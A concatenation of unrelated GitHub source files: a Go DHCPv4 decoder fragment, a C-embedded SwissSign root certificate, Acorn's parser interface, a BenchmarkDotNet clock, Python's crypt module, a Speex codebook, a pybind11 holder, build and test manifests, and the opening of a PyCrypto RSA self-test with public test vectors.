if len(data) < 2 {
return DecOptionNotEnoughData
}
o.Length = data[1]
if int(o.Length) > len(data[2:]) {
return DecOptionMalformed
}
o.Data = data[2 : 2+int(o.Length)]
}
return nil
}
// DHCPv4Error is used for constant errors for DHCPv4. It is needed for test asserts.
type DHCPv4Error string
// DHCPv4Error implements error interface.
func (d DHCPv4Error) Error() string {
return string(d)
}
const (
// DecOptionNotEnoughData is returned when there is not enough data during option's decode process
DecOptionNotEnoughData = DHCPv4Error("Not enough data to decode")
// DecOptionMalformed is returned when the option is malformed
DecOptionMalformed = DHCPv4Error("Option is malformed")
// InvalidMagicCookie is returned when Magic cookie is missing into BOOTP header
InvalidMagicCookie = DHCPv4Error("Bad DHCP header")
)
|
{
"pile_set_name": "Github"
}
|
/*****************************************************************
|
| Neptune - Trust Anchors
|
| This file is automatically generated by a script, do not edit!
|
| Copyright (c) 2002-2010, Axiomatic Systems, LLC.
| All rights reserved.
|
| Redistribution and use in source and binary forms, with or without
| modification, are permitted provided that the following conditions are met:
| * Redistributions of source code must retain the above copyright
| notice, this list of conditions and the following disclaimer.
| * Redistributions in binary form must reproduce the above copyright
| notice, this list of conditions and the following disclaimer in the
| documentation and/or other materials provided with the distribution.
| * Neither the name of Axiomatic Systems nor the
| names of its contributors may be used to endorse or promote products
| derived from this software without specific prior written permission.
|
| THIS SOFTWARE IS PROVIDED BY AXIOMATIC SYSTEMS ''AS IS'' AND ANY
| EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
| WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
| DISCLAIMED. IN NO EVENT SHALL AXIOMATIC SYSTEMS BE LIABLE FOR ANY
| DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
| (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
| LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
| ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
| (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
| SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
****************************************************************/
/* SwissSign Gold CA - G2 */
const unsigned char NptTlsTrustAnchor_Base_0109_Data[1470] = {
0x30,0x82,0x05,0xba,0x30,0x82,0x03,0xa2
,0xa0,0x03,0x02,0x01,0x02,0x02,0x09,0x00
,0xbb,0x40,0x1c,0x43,0xf5,0x5e,0x4f,0xb0
,0x30,0x0d,0x06,0x09,0x2a,0x86,0x48,0x86
,0xf7,0x0d,0x01,0x01,0x05,0x05,0x00,0x30
,0x45,0x31,0x0b,0x30,0x09,0x06,0x03,0x55
,0x04,0x06,0x13,0x02,0x43,0x48,0x31,0x15
,0x30,0x13,0x06,0x03,0x55,0x04,0x0a,0x13
,0x0c,0x53,0x77,0x69,0x73,0x73,0x53,0x69
,0x67,0x6e,0x20,0x41,0x47,0x31,0x1f,0x30
,0x1d,0x06,0x03,0x55,0x04,0x03,0x13,0x16
,0x53,0x77,0x69,0x73,0x73,0x53,0x69,0x67
,0x6e,0x20,0x47,0x6f,0x6c,0x64,0x20,0x43
,0x41,0x20,0x2d,0x20,0x47,0x32,0x30,0x1e
,0x17,0x0d,0x30,0x36,0x31,0x30,0x32,0x35
,0x30,0x38,0x33,0x30,0x33,0x35,0x5a,0x17
,0x0d,0x33,0x36,0x31,0x30,0x32,0x35,0x30
,0x38,0x33,0x30,0x33,0x35,0x5a,0x30,0x45
,0x31,0x0b,0x30,0x09,0x06,0x03,0x55,0x04
,0x06,0x13,0x02,0x43,0x48,0x31,0x15,0x30
,0x13,0x06,0x03,0x55,0x04,0x0a,0x13,0x0c
,0x53,0x77,0x69,0x73,0x73,0x53,0x69,0x67
,0x6e,0x20,0x41,0x47,0x31,0x1f,0x30,0x1d
,0x06,0x03,0x55,0x04,0x03,0x13,0x16,0x53
,0x77,0x69,0x73,0x73,0x53,0x69,0x67,0x6e
,0x20,0x47,0x6f,0x6c,0x64,0x20,0x43,0x41
,0x20,0x2d,0x20,0x47,0x32,0x30,0x82,0x02
,0x22,0x30,0x0d,0x06,0x09,0x2a,0x86,0x48
,0x86,0xf7,0x0d,0x01,0x01,0x01,0x05,0x00
,0x03,0x82,0x02,0x0f,0x00,0x30,0x82,0x02
,0x0a,0x02,0x82,0x02,0x01,0x00,0xaf,0xe4
,0xee,0x7e,0x8b,0x24,0x0e,0x12,0x6e,0xa9
,0x50,0x2d,0x16,0x44,0x3b,0x92,0x92,0x5c
,0xca,0xb8,0x5d,0x84,0x92,0x42,0x13,0x2a
,0xbc,0x65,0x57,0x82,0x40,0x3e,0x57,0x24
,0xcd,0x50,0x8b,0x25,0x2a,0xb7,0x6f,0xfc
,0xef,0xa2,0xd0,0xc0,0x1f,0x02,0x24,0x4a
,0x13,0x96,0x8f,0x23,0x13,0xe6,0x28,0x58
,0x00,0xa3,0x47,0xc7,0x06,0xa7,0x84,0x23
,0x2b,0xbb,0xbd,0x96,0x2b,0x7f,0x55,0xcc
,0x8b,0xc1,0x57,0x1f,0x0e,0x62,0x65,0x0f
,0xdd,0x3d,0x56,0x8a,0x73,0xda,0xae,0x7e
,0x6d,0xba,0x81,0x1c,0x7e,0x42,0x8c,0x20
,0x35,0xd9,0x43,0x4d,0x84,0xfa,0x84,0xdb
,0x52,0x2c,0xf3,0x0e,0x27,0x77,0x0b,0x6b
,0xbf,0x11,0x2f,0x72,0x78,0x9f,0x2e,0xd8
,0x3e,0xe6,0x18,0x37,0x5a,0x2a,0x72,0xf9
,0xda,0x62,0x90,0x92,0x95,0xca,0x1f,0x9c
,0xe9,0xb3,0x3c,0x2b,0xcb,0xf3,0x01,0x13
,0xbf,0x5a,0xcf,0xc1,0xb5,0x0a,0x60,0xbd
,0xdd,0xb5,0x99,0x64,0x53,0xb8,0xa0,0x96
,0xb3,0x6f,0xe2,0x26,0x77,0x91,0x8c,0xe0
,0x62,0x10,0x02,0x9f,0x34,0x0f,0xa4,0xd5
,0x92,0x33,0x51,0xde,0xbe,0x8d,0xba,0x84
,0x7a,0x60,0x3c,0x6a,0xdb,0x9f,0x2b,0xec
,0xde,0xde,0x01,0x3f,0x6e,0x4d,0xe5,0x50
,0x86,0xcb,0xb4,0xaf,0xed,0x44,0x40,0xc5
,0xca,0x5a,0x8c,0xda,0xd2,0x2b,0x7c,0xa8
,0xee,0xbe,0xa6,0xe5,0x0a,0xaa,0x0e,0xa5
,0xdf,0x05,0x52,0xb7,0x55,0xc7,0x22,0x5d
,0x32,0x6a,0x97,0x97,0x63,0x13,0xdb,0xc9
,0xdb,0x79,0x36,0x7b,0x85,0x3a,0x4a,0xc5
,0x52,0x89,0xf9,0x24,0xe7,0x9d,0x77,0xa9
,0x82,0xff,0x55,0x1c,0xa5,0x71,0x69,0x2b
,0xd1,0x02,0x24,0xf2,0xb3,0x26,0xd4,0x6b
,0xda,0x04,0x55,0xe5,0xc1,0x0a,0xc7,0x6d
,0x30,0x37,0x90,0x2a,0xe4,0x9e,0x14,0x33
,0x5e,0x16,0x17,0x55,0xc5,0x5b,0xb5,0xcb
,0x34,0x89,0x92,0xf1,0x9d,0x26,0x8f,0xa1
,0x07,0xd4,0xc6,0xb2,0x78,0x50,0xdb,0x0c
,0x0c,0x0b,0x7c,0x0b,0x8c,0x41,0xd7,0xb9
,0xe9,0xdd,0x8c,0x88,0xf7,0xa3,0x4d,0xb2
,0x32,0xcc,0xd8,0x17,0xda,0xcd,0xb7,0xce
,0x66,0x9d,0xd4,0xfd,0x5e,0xff,0xbd,0x97
,0x3e,0x29,0x75,0xe7,0x7e,0xa7,0x62,0x58
,0xaf,0x25,0x34,0xa5,0x41,0xc7,0x3d,0xbc
,0x0d,0x50,0xca,0x03,0x03,0x0f,0x08,0x5a
,0x1f,0x95,0x73,0x78,0x62,0xbf,0xaf,0x72
,0x14,0x69,0x0e,0xa5,0xe5,0x03,0x0e,0x78
,0x8e,0x26,0x28,0x42,0xf0,0x07,0x0b,0x62
,0x20,0x10,0x67,0x39,0x46,0xfa,0xa9,0x03
,0xcc,0x04,0x38,0x7a,0x66,0xef,0x20,0x83
,0xb5,0x8c,0x4a,0x56,0x8e,0x91,0x00,0xfc
,0x8e,0x5c,0x82,0xde,0x88,0xa0,0xc3,0xe2
,0x68,0x6e,0x7d,0x8d,0xef,0x3c,0xdd,0x65
,0xf4,0x5d,0xac,0x51,0xef,0x24,0x80,0xae
,0xaa,0x56,0x97,0x6f,0xf9,0xad,0x7d,0xda
,0x61,0x3f,0x98,0x77,0x3c,0xa5,0x91,0xb6
,0x1c,0x8c,0x26,0xda,0x65,0xa2,0x09,0x6d
,0xc1,0xe2,0x54,0xe3,0xb9,0xca,0x4c,0x4c
,0x80,0x8f,0x77,0x7b,0x60,0x9a,0x1e,0xdf
,0xb6,0xf2,0x48,0x1e,0x0e,0xba,0x4e,0x54
,0x6d,0x98,0xe0,0xe1,0xa2,0x1a,0xa2,0x77
,0x50,0xcf,0xc4,0x63,0x92,0xec,0x47,0x19
,0x9d,0xeb,0xe6,0x6b,0xce,0xc1,0x02,0x03
,0x01,0x00,0x01,0xa3,0x81,0xac,0x30,0x81
,0xa9,0x30,0x0e,0x06,0x03,0x55,0x1d,0x0f
,0x01,0x01,0xff,0x04,0x04,0x03,0x02,0x01
,0x06,0x30,0x0f,0x06,0x03,0x55,0x1d,0x13
,0x01,0x01,0xff,0x04,0x05,0x30,0x03,0x01
,0x01,0xff,0x30,0x1d,0x06,0x03,0x55,0x1d
,0x0e,0x04,0x16,0x04,0x14,0x5b,0x25,0x7b
,0x96,0xa4,0x65,0x51,0x7e,0xb8,0x39,0xf3
,0xc0,0x78,0x66,0x5e,0xe8,0x3a,0xe7,0xf0
,0xee,0x30,0x1f,0x06,0x03,0x55,0x1d,0x23
,0x04,0x18,0x30,0x16,0x80,0x14,0x5b,0x25
,0x7b,0x96,0xa4,0x65,0x51,0x7e,0xb8,0x39
,0xf3,0xc0,0x78,0x66,0x5e,0xe8,0x3a,0xe7
,0xf0,0xee,0x30,0x46,0x06,0x03,0x55,0x1d
,0x20,0x04,0x3f,0x30,0x3d,0x30,0x3b,0x06
,0x09,0x60,0x85,0x74,0x01,0x59,0x01,0x02
,0x01,0x01,0x30,0x2e,0x30,0x2c,0x06,0x08
,0x2b,0x06,0x01,0x05,0x05,0x07,0x02,0x01
,0x16,0x20,0x68,0x74,0x74,0x70,0x3a,0x2f
,0x2f,0x72,0x65,0x70,0x6f,0x73,0x69,0x74
,0x6f,0x72,0x79,0x2e,0x73,0x77,0x69,0x73
,0x73,0x73,0x69,0x67,0x6e,0x2e,0x63,0x6f
,0x6d,0x2f,0x30,0x0d,0x06,0x09,0x2a,0x86
,0x48,0x86,0xf7,0x0d,0x01,0x01,0x05,0x05
,0x00,0x03,0x82,0x02,0x01,0x00,0x27,0xba
,0xe3,0x94,0x7c,0xf1,0xae,0xc0,0xde,0x17
,0xe6,0xe5,0xd8,0xd5,0xf5,0x54,0xb0,0x83
,0xf4,0xbb,0xcd,0x5e,0x05,0x7b,0x4f,0x9f
,0x75,0x66,0xaf,0x3c,0xe8,0x56,0x7e,0xfc
,0x72,0x78,0x38,0x03,0xd9,0x2b,0x62,0x1b
,0x00,0xb9,0xf8,0xe9,0x60,0xcd,0xcc,0xce
,0x51,0x8a,0xc7,0x50,0x31,0x6e,0xe1,0x4a
,0x7e,0x18,0x2f,0x69,0x59,0xb6,0x3d,0x64
,0x81,0x2b,0xe3,0x83,0x84,0xe6,0x22,0x87
,0x8e,0x7d,0xe0,0xee,0x02,0x99,0x61,0xb8
,0x1e,0xf4,0xb8,0x2b,0x88,0x12,0x16,0x84
,0xc2,0x31,0x93,0x38,0x96,0x31,0xa6,0xb9
,0x3b,0x53,0x3f,0xc3,0x24,0x93,0x56,0x5b
,0x69,0x92,0xec,0xc5,0xc1,0xbb,0x38,0x00
,0xe3,0xec,0x17,0xa9,0xb8,0xdc,0xc7,0x7c
,0x01,0x83,0x9f,0x32,0x47,0xba,0x52,0x22
,0x34,0x1d,0x32,0x7a,0x09,0x56,0xa7,0x7c
,0x25,0x36,0xa9,0x3d,0x4b,0xda,0xc0,0x82
,0x6f,0x0a,0xbb,0x12,0xc8,0x87,0x4b,0x27
,0x11,0xf9,0x1e,0x2d,0xc7,0x93,0x3f,0x9e
,0xdb,0x5f,0x26,0x6b,0x52,0xd9,0x2e,0x8a
,0xf1,0x14,0xc6,0x44,0x8d,0x15,0xa9,0xb7
,0xbf,0xbd,0xde,0xa6,0x1a,0xee,0xae,0x2d
,0xfb,0x48,0x77,0x17,0xfe,0xbb,0xec,0xaf
,0x18,0xf5,0x2a,0x51,0xf0,0x39,0x84,0x97
,0x95,0x6c,0x6e,0x1b,0xc3,0x2b,0xc4,0x74
,0x60,0x79,0x25,0xb0,0x0a,0x27,0xdf,0xdf
,0x5e,0xd2,0x39,0xcf,0x45,0x7d,0x42,0x4b
,0xdf,0xb3,0x2c,0x1e,0xc5,0xc6,0x5d,0xca
,0x55,0x3a,0xa0,0x9c,0x69,0x9a,0x8f,0xda
,0xef,0xb2,0xb0,0x3c,0x9f,0x87,0x6c,0x12
,0x2b,0x65,0x70,0x15,0x52,0x31,0x1a,0x24
,0xcf,0x6f,0x31,0x23,0x50,0x1f,0x8c,0x4f
,0x8f,0x23,0xc3,0x74,0x41,0x63,0x1c,0x55
,0xa8,0x14,0xdd,0x3e,0xe0,0x51,0x50,0xcf
,0xf1,0x1b,0x30,0x56,0x0e,0x92,0xb0,0x82
,0x85,0xd8,0x83,0xcb,0x22,0x64,0xbc,0x2d
,0xb8,0x25,0xd5,0x54,0xa2,0xb8,0x06,0xea
,0xad,0x92,0xa4,0x24,0xa0,0xc1,0x86,0xb5
,0x4a,0x13,0x6a,0x47,0xcf,0x2e,0x0b,0x56
,0x95,0x54,0xcb,0xce,0x9a,0xdb,0x6a,0xb4
,0xa6,0xb2,0xdb,0x41,0x08,0x86,0x27,0x77
,0xf7,0x6a,0xa0,0x42,0x6c,0x0b,0x38,0xce
,0xd7,0x75,0x50,0x32,0x92,0xc2,0xdf,0x2b
,0x30,0x22,0x48,0xd0,0xd5,0x41,0x38,0x25
,0x5d,0xa4,0xe9,0x5d,0x9f,0xc6,0x94,0x75
,0xd0,0x45,0xfd,0x30,0x97,0x43,0x8f,0x90
,0xab,0x0a,0xc7,0x86,0x73,0x60,0x4a,0x69
,0x2d,0xde,0xa5,0x78,0xd7,0x06,0xda,0x6a
,0x9e,0x4b,0x3e,0x77,0x3a,0x20,0x13,0x22
,0x01,0xd0,0xbf,0x68,0x9e,0x63,0x60,0x6b
,0x35,0x4d,0x0b,0x6d,0xba,0xa1,0x3d,0xc0
,0x93,0xe0,0x7f,0x23,0xb3,0x55,0xad,0x72
,0x25,0x4e,0x46,0xf9,0xd2,0x16,0xef,0xb0
,0x64,0xc1,0x01,0x9e,0xe9,0xca,0xa0,0x6a
,0x98,0x0e,0xcf,0xd8,0x60,0xf2,0x2f,0x49
,0xb8,0xe4,0x42,0xe1,0x38,0x35,0x16,0xf4
,0xc8,0x6e,0x4f,0xf7,0x81,0x56,0xe8,0xba
,0xa3,0xbe,0x23,0xaf,0xae,0xfd,0x6f,0x03
,0xe0,0x02,0x3b,0x30,0x76,0xfa,0x1b,0x6d
,0x41,0xcf,0x01,0xb1,0xe9,0xb8,0xc9,0x66
,0xf4,0xdb,0x26,0xf3,0x3a,0xa4,0x74,0xf2
,0x49,0x24,0x5b,0xc9,0xb0,0xd0,0x57,0xc1
,0xfa,0x3e,0x7a,0xe1,0x97,0xc9};
const unsigned int NptTlsTrustAnchor_Base_0109_Size = 1470;
|
{
"pile_set_name": "Github"
}
|
// Acorn is a tiny, fast JavaScript parser written in JavaScript.
//
// Acorn was written by Marijn Haverbeke, Ingvar Stepanyan, and
// various contributors and released under an MIT license.
//
// Git repositories for Acorn are available at
//
// http://marijnhaverbeke.nl/git/acorn
// https://github.com/ternjs/acorn.git
//
// Please use the [github bug tracker][ghbt] to report issues.
//
// [ghbt]: https://github.com/ternjs/acorn/issues
//
// This file defines the main parser interface. The library also comes
// with a [error-tolerant parser][dammit] and an
// [abstract syntax tree walker][walk], defined in other files.
//
// [dammit]: acorn_loose.js
// [walk]: util/walk.js
import {Parser} from "./state"
import "./parseutil"
import "./statement"
import "./lval"
import "./expression"
import "./location"
export {Parser, plugins} from "./state"
export {defaultOptions} from "./options"
export {Position, SourceLocation, getLineInfo} from "./locutil"
export {Node} from "./node"
export {TokenType, types as tokTypes} from "./tokentype"
export {TokContext, types as tokContexts} from "./tokencontext"
export {isIdentifierChar, isIdentifierStart} from "./identifier"
export {Token} from "./tokenize"
export {isNewLine, lineBreak, lineBreakG} from "./whitespace"
export const version = "2.7.0"
// The main exported interface (under `self.acorn` when in the
// browser) is a `parse` function that takes a code string and
// returns an abstract syntax tree as specified by [Mozilla parser
// API][api].
//
// [api]: https://developer.mozilla.org/en-US/docs/SpiderMonkey/Parser_API
export function parse(input, options) {
return new Parser(options, input).parse()
}
// This function tries to parse a single expression at a given
// offset in a string. Useful for parsing mixed-language formats
// that embed JavaScript expressions.
export function parseExpressionAt(input, pos, options) {
let p = new Parser(options, input, pos)
p.nextToken()
return p.parseExpression()
}
// Acorn is organized as a tokenizer and a recursive-descent parser.
// The `tokenizer` export provides an interface to the tokenizer.
export function tokenizer(input, options) {
return new Parser(options, input)
}
|
{
"pile_set_name": "Github"
}
|
using System;
using JetBrains.Annotations;
// ReSharper disable once CheckNamespace
namespace BenchmarkDotNet.Horology
{
/// <summary>
/// <see cref="IClock"/> implementation over QueryThreadCycleTime().
/// WARNING: results are inaccurate (up to +/- 30% to actual time),
/// see https://blogs.msdn.microsoft.com/oldnewthing/20160429-00/?p=93385 for more.
/// </summary>
/// <seealso cref="IClock"/>
[PublicAPI]
public sealed class ThreadCycleTimeClock : IClock
{
#region Static members
private static readonly bool _isAvailable;
private static readonly long _frequency;
static ThreadCycleTimeClock() =>
_isAvailable = CycleClockHelpers.EstimateThreadCycleTimeFrequency(
Chronometer.BestClock,
1000 * 1000, out _frequency);
/// <summary>Default instance of <see cref="ThreadCycleTimeClock"/>.</summary>
public static readonly IClock Instance = new ThreadCycleTimeClock();
#endregion
/// <summary>Gets a value indicating whether this instance is available.</summary>
/// <value>
/// <c>true</c> if this instance is available; otherwise, <c>false</c>.
/// </value>
public bool IsAvailable => _isAvailable;
/// <summary>Gets the frequency.</summary>
/// <value>The frequency.</value>
public Frequency Frequency => new Frequency(_frequency);
/// <summary>Gets the timestamp.</summary>
/// <returns></returns>
public long GetTimestamp() =>
CycleClockHelpers.GetCurrentThreadTimestamp();
/// <summary>
/// Returns a <see cref="string"/> that represents this instance.
/// </summary>
/// <returns>
/// A <see cref="string"/> that represents this instance.
/// </returns>
public override string ToString() => GetType().Name;
}
}
|
{
"pile_set_name": "Github"
}
|
"""Wrapper to the POSIX crypt library call and associated functionality."""
import _crypt
import string as _string
from random import SystemRandom as _SystemRandom
from collections import namedtuple as _namedtuple
_saltchars = _string.ascii_letters + _string.digits + './'
_sr = _SystemRandom()
class _Method(_namedtuple('_Method', 'name ident salt_chars total_size')):
"""Class representing a salt method per the Modular Crypt Format or the
legacy 2-character crypt method."""
def __repr__(self):
return '<crypt.METHOD_{}>'.format(self.name)
def mksalt(method=None):
"""Generate a salt for the specified method.
If not specified, the strongest available method will be used.
"""
if method is None:
method = methods[0]
s = '${}$'.format(method.ident) if method.ident else ''
s += ''.join(_sr.choice(_saltchars) for char in range(method.salt_chars))
return s
def crypt(word, salt=None):
"""Return a string representing the one-way hash of a password, with a salt
prepended.
If ``salt`` is not specified or is ``None``, the strongest
available method will be selected and a salt generated. Otherwise,
``salt`` may be one of the ``crypt.METHOD_*`` values, or a string as
returned by ``crypt.mksalt()``.
"""
if salt is None or isinstance(salt, _Method):
salt = mksalt(salt)
return _crypt.crypt(word, salt)
# available salting/crypto methods
METHOD_CRYPT = _Method('CRYPT', None, 2, 13)
METHOD_MD5 = _Method('MD5', '1', 8, 34)
METHOD_SHA256 = _Method('SHA256', '5', 16, 63)
METHOD_SHA512 = _Method('SHA512', '6', 16, 106)
methods = []
for _method in (METHOD_SHA512, METHOD_SHA256, METHOD_MD5):
_result = crypt('', _method)
if _result and len(_result) == _method.total_size:
methods.append(_method)
methods.append(METHOD_CRYPT)
del _result, _method
|
{
"pile_set_name": "Github"
}
|
/* Copyright (C) 2002 Jean-Marc Valin
File: exc_10_16_table.c
Codebook for excitation in narrowband CELP mode (3200 bps)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
- Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
- Neither the name of the Xiph.org Foundation nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
const signed char exc_10_16_table[160] = {
22,39,14,44,11,35,-2,23,-4,6,
46,-28,13,-27,-23,12,4,20,-5,9,
37,-18,-23,23,0,9,-6,-20,4,-1,
-17,-5,-4,17,0,1,9,-2,1,2,
2,-12,8,-25,39,15,9,16,-55,-11,
9,11,5,10,-2,-60,8,13,-6,11,
-16,27,-47,-12,11,1,16,-7,9,-3,
-29,9,-14,25,-19,34,36,12,40,-10,
-3,-24,-14,-37,-21,-35,-2,-36,3,-6,
67,28,6,-17,-3,-12,-16,-15,-17,-7,
-59,-36,-13,1,7,1,2,10,2,11,
13,10,8,-2,7,3,5,4,2,2,
-3,-8,4,-5,6,7,-42,15,35,-2,
-46,38,28,-20,-9,1,7,-3,0,-2,
0,0,0,0,0,0,0,0,0,0,
-15,-28,52,32,5,-5,-17,-20,-10,-1};
|
{
"pile_set_name": "Github"
}
|
#pragma once
#include <pybind11/pybind11.h>
#include <torch/csrc/python_headers.h>
namespace py = pybind11;
namespace c10 {
namespace ivalue {
// concrete ivalue Holder that hold a py::object
struct C10_EXPORT ConcretePyObjectHolder final : PyObjectHolder {
public:
static c10::intrusive_ptr<PyObjectHolder> create(py::object py_obj) {
return c10::make_intrusive<ConcretePyObjectHolder>(std::move(py_obj));
}
static c10::intrusive_ptr<PyObjectHolder> create(const py::handle& handle) {
py::gil_scoped_acquire ag;
return c10::make_intrusive<ConcretePyObjectHolder>(
handle.cast<py::object>());
}
PyObject* getPyObject() override {
return py_obj_.ptr();
}
// Note [Destructing py::object]
// ~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// (1) Why py_obj_ = py::none(); does not work. Because we also need to
// acquire GIL when destructing py::object of None that de-references None.
// https://docs.python.org/3/c-api/none.html#c.Py_RETURN_NONE
//
// https://stackoverflow.com/questions/15287590/why-should-py-increfpy-none-be-required-before-returning-py-none-in-c
//
// (2) Why we need to call dec_ref() explicitly. Because py::object of
// nullptr, on destruction, effectively does nothing because of it calls
// Py_XDECREF(NULL) underlying.
// https://docs.python.org/3/c-api/refcounting.html#c.Py_XDECREF
~ConcretePyObjectHolder() {
pybind11::gil_scoped_acquire ag;
py_obj_.dec_ref();
// explicitly setting PyObject* to nullptr to prevent py::object's dtor to
// decref on the PyObject again.
py_obj_.ptr() = nullptr;
}
// explicit construction to avoid errornous implicit conversion and
// copy-initialization
explicit ConcretePyObjectHolder(py::object py_obj)
: py_obj_(std::move(py_obj)) {}
private:
py::object py_obj_;
};
} // namespace ivalue
} // namespace c10
|
{
"pile_set_name": "Github"
}
|
[package]
name = "cmdline_example"
version = "0.1.0"
edition = "2018"
[dependencies]
makepad-live-compiler = { path = "../../render/live_compiler", version = "0.1" }
makepad-live-macros = { path = "../../render/live_macros", version = "0.2" }
|
{
"pile_set_name": "Github"
}
|
[DEFAULT]
head = head.js
support-files =
protocolHandler.html
[browser_auto_close_window.js]
run-if = e10s # test relies on e10s behavior
support-files =
download_page.html
download.bin
download.sjs
[browser_download_always_ask_preferred_app.js]
[browser_download_privatebrowsing.js]
[browser_download_open_with_internal_handler.js]
support-files =
file_pdf_application_pdf.pdf
file_pdf_application_pdf.pdf^headers^
file_pdf_application_unknown.pdf
file_pdf_application_unknown.pdf^headers^
file_pdf_binary_octet_stream.pdf
file_pdf_binary_octet_stream.pdf^headers^
file_txt_attachment_test.txt
file_txt_attachment_test.txt^headers^
file_xml_attachment_binary_octet_stream.xml
file_xml_attachment_binary_octet_stream.xml^headers^
file_xml_attachment_test.xml
file_xml_attachment_test.xml^headers^
[browser_download_urlescape.js]
support-files =
file_with@@funny_name.png
file_with@@funny_name.png^headers^
file_with[funny_name.webm
file_with[funny_name.webm^headers^
[browser_open_internal_choice_persistence.js]
support-files =
file_pdf_application_pdf.pdf
file_pdf_application_pdf.pdf^headers^
[browser_protocol_ask_dialog.js]
support-files =
file_nested_protocol_request.html
[browser_protocolhandler_loop.js]
[browser_remember_download_option.js]
[browser_web_protocol_handlers.js]
|
{
"pile_set_name": "Github"
}
|
# -*- coding: utf-8 -*-
#
# SelfTest/PublicKey/test_RSA.py: Self-test for the RSA primitive
#
# Written in 2008 by Dwayne C. Litzenberger <[email protected]>
#
# ===================================================================
# The contents of this file are dedicated to the public domain. To
# the extent that dedication to the public domain is not available,
# everyone is granted a worldwide, perpetual, royalty-free,
# non-exclusive license to exercise all rights associated with the
# contents of this file for any purpose whatsoever.
# No rights are reserved.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# ===================================================================
"""Self-test suite for Crypto.PublicKey.RSA"""
__revision__ = "$Id$"
import sys
import os
if sys.version_info[0] == 2 and sys.version_info[1] == 1:
from Crypto.Util.py21compat import *
from Crypto.Util.py3compat import *
import unittest
from Crypto.SelfTest.st_common import list_test_cases, a2b_hex, b2a_hex
class RSATest(unittest.TestCase):
# Test vectors from "RSA-OAEP and RSA-PSS test vectors (.zip file)"
# ftp://ftp.rsasecurity.com/pub/pkcs/pkcs-1/pkcs-1v2-1-vec.zip
# See RSADSI's PKCS#1 page at
# http://www.rsa.com/rsalabs/node.asp?id=2125
# from oaep-int.txt
# TODO: PyCrypto treats the message as starting *after* the leading "00"
# TODO: That behaviour should probably be changed in the future.
plaintext = """
eb 7a 19 ac e9 e3 00 63 50 e3 29 50 4b 45 e2
ca 82 31 0b 26 dc d8 7d 5c 68 f1 ee a8 f5 52 67
c3 1b 2e 8b b4 25 1f 84 d7 e0 b2 c0 46 26 f5 af
f9 3e dc fb 25 c9 c2 b3 ff 8a e1 0e 83 9a 2d db
4c dc fe 4f f4 77 28 b4 a1 b7 c1 36 2b aa d2 9a
b4 8d 28 69 d5 02 41 21 43 58 11 59 1b e3 92 f9
82 fb 3e 87 d0 95 ae b4 04 48 db 97 2f 3a c1 4f
7b c2 75 19 52 81 ce 32 d2 f1 b7 6d 4d 35 3e 2d
"""
ciphertext = """
12 53 e0 4d c0 a5 39 7b b4 4a 7a b8 7e 9b f2 a0
39 a3 3d 1e 99 6f c8 2a 94 cc d3 00 74 c9 5d f7
63 72 20 17 06 9e 52 68 da 5d 1c 0b 4f 87 2c f6
53 c1 1d f8 23 14 a6 79 68 df ea e2 8d ef 04 bb
6d 84 b1 c3 1d 65 4a 19 70 e5 78 3b d6 eb 96 a0
24 c2 ca 2f 4a 90 fe 9f 2e f5 c9 c1 40 e5 bb 48
da 95 36 ad 87 00 c8 4f c9 13 0a de a7 4e 55 8d
51 a7 4d df 85 d8 b5 0d e9 68 38 d6 06 3e 09 55
"""
modulus = """
bb f8 2f 09 06 82 ce 9c 23 38 ac 2b 9d a8 71 f7
36 8d 07 ee d4 10 43 a4 40 d6 b6 f0 74 54 f5 1f
b8 df ba af 03 5c 02 ab 61 ea 48 ce eb 6f cd 48
76 ed 52 0d 60 e1 ec 46 19 71 9d 8a 5b 8b 80 7f
af b8 e0 a3 df c7 37 72 3e e6 b4 b7 d9 3a 25 84
ee 6a 64 9d 06 09 53 74 88 34 b2 45 45 98 39 4e
